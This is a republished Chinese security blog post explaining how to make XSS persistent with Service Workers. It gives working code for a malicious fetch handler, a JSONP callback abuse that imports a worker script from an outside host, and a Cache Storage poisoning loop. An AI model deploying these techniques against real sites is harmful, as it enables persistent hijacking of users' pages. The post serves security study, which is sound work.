RootkitXSS之ServiceWorker

栏目: Json · 发布时间: 5年前

内容简介:在拿到一个可以XSS点的时候后,持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势,受益匪浅Service workers(后文称SW) 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。也就是说SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,

在拿到一个可以XSS点的时候后,持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势,受益匪浅

Serviceworker定义

Service workers(后文称SW) 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。

也就是说SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

查看SW服务

Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。

注册serviceworker

注册点js代码

<script type="text/javascript">
    var url="//localhost/serviceworker.js";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
normal visit

script标签下的type必须指明为 text/javascript

event.request.clone()

对象的内容如图

RootkitXSS之ServiceWorker

攻击条件

一个可以XSS的点

sw文件可控

如果说sw可以放在同源下,也就是js文件可控的话。直接注册Sw,代码如下:

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response
self.addEventListener('fetch', function (event) {  
    var url = event.request.clone(); 
    body = '<script>alert("test")</script>';
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url=='http://localhost/reurl.html'){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});

jsonp回调接口

利用储值型X点写入下面的代码

当JSONP接口存在缺陷时,比如没有校验回调名。导致返回内容可控

比如:url?callback=importScript(...)

返回 importScript(...)

代码实现如下:

<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

attack_js

<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>

这里面callback回调的事件就相当于sw脚本。当js被执行之后会注册一个sw脚本,内容是回调的事件

RootkitXSS之ServiceWorker RootkitXSS之ServiceWorker

或者鸡肋上传一个html到网站下

<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> 
<body>
<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's nothing
</body>
</html>

局限

  • 存在有缺陷的 JSONP 接口
  • JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
  • JSONP 返回的 Content-Type 必须是 JS 类型
  • 存在 XSS 的页面

在网上看到一个师傅这样作例,引用一下:

service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/sw.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)

Cache缓存污染

前文的攻击不涉及cache里的资源,进行的是协商缓存,下面说一下强缓存的利用。

请求资源

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {  
        event.respondWith(
            //console.log(event.request)
        caches.match(event.request).then(function(res){
        if(res){//如果有缓存则使用缓存
        return res;
        }
        return requestBackend(event);//没缓存就进行缓存
        })
        )
   });

function requestBackend(event){  
        var url = event.request.clone();  
        console.log(url)  //打印内容是打印到请求页面
        if(url.url=='http://localhost/reurl.html'){//判断是否为需要劫持的资源

        return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
        }
        return fetch(url).then(function(res){
        //检测是否为有效响应
        if(!res || res.status !== 200 || res.type !== 'basic'){
        return res;
        }
        var response = res.clone();
        caches.open('v1').then(function(cache){  //打开v1缓存进行存储
        cache.put(event.request, response);
        });

        return res;
        })
}

分析

前几天看ED师傅的研究,发现这种好玩但是鸡肋的方法。上面提到cache.put的方法把js资源添加到Cache Storage,其实如果我们用cache.put把恶意代码插入,覆盖原始的js数据。后果就是当sw请求cahce里的资源时会执行恶意代码。比如workbox会先从缓存读取静态资源,我们用异步请求将恶意代码无限覆盖这个缓存时:

控制台输入下面的恶意代码

async function replay() {
    const name = 'xx'
    const url = 'xx'
    const payload = `
alert(1);
`
    let cache = await caches.open(name);
    let req = new Request(url);
    let res = new Response(payload + replay + ';replay()');   //执行alert+写入cache内容+执行fn
    setInterval(_ => {
      cache.put(req, res.clone());
    }, 500);
}
replay();

就可以在cache Storage里看到500ms刷新并覆盖一次的js资源。

RootkitXSS之ServiceWorker

以上所述就是小编给大家介绍的《RootkitXSS之ServiceWorker》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机网络

计算机网络

Andrew S. Tanenbaum / 潘爱民 / 清华大学出版社 / 2004-8-1 / 60.00元

《计算机网络(第4版)》全书按照网络协议模型(物理层、数据链路层、介质访问控制子层、网络层、传输层和应用层),自下而上系统地介绍了计算机网络的基本原理,并给出了大量实例。在讲述各网络层的同时,还融合进了近年来迅速发展起来的各种网络技术,如Internet、SONET、A DSL、CDMA、WLAN和蓝牙等。另外,针对当前计算机网络的发展现状以及计算机安全的重要性,本书用了一整章的篇幅对计算机安全进......一起来看看 《计算机网络》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具